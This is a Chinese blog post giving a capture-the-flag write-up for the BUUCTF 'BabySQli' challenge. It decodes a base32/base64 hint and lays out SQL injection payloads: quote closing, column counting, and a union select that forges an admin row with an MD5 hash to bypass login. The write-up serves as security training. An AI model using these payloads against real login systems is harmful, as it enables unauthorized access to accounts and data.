BUUCTF[GXYCTF2019]BabySQli

SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<center>
	<form action="search.php" method="post" style="margin-top: 300">
		<input type="text" name="name" placeholder="UserName" required>
		<br>
		<input type="password" style="margin-top: 20" name="pw" placeholder="password" required>
		<br>
		<button style="margin-top:20;" type="submit">登录</button>
	</form>
</center>

由于没有注释内容,所以我试试抓包看看有没有注释内容, 

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。  

可以看出这是base32加密,解密如下:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64解密得到sql语句,这句话应该是提示

select * from user where username = '$name'

单引号闭合,使用payload:

name=admin'&pw=123

查看字段数:

name=admin' order by 3#&pw=123

 

大小写绕过尝试:

name=admin' Order by 3#&pw=123

 

name=admin' Order by 4#&pw=123 

 

 字段数为3,查看回显点位,

name=admin' union select 1,2,3#&pw=123

 

由于回显一样,暂时看不到,我们继续往后做。 

这里学到了一个新知识:mysql在联合查询不存在的数据时,会自动构建虚拟数据,

比如我们使用:

select * from user where username = 'wxs' union select 1,'admin','123456';

 原本库里没有123456,但mysql自动给我们加上了,相当于我们临时创建了一个admin用户,密码是123456。

所以我们假设密码是123456,其md5值为:e10adc3949ba59abbe56e057f20f883e

构造payload:

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

成功登录得到flag:

思路:利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

carefree798

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值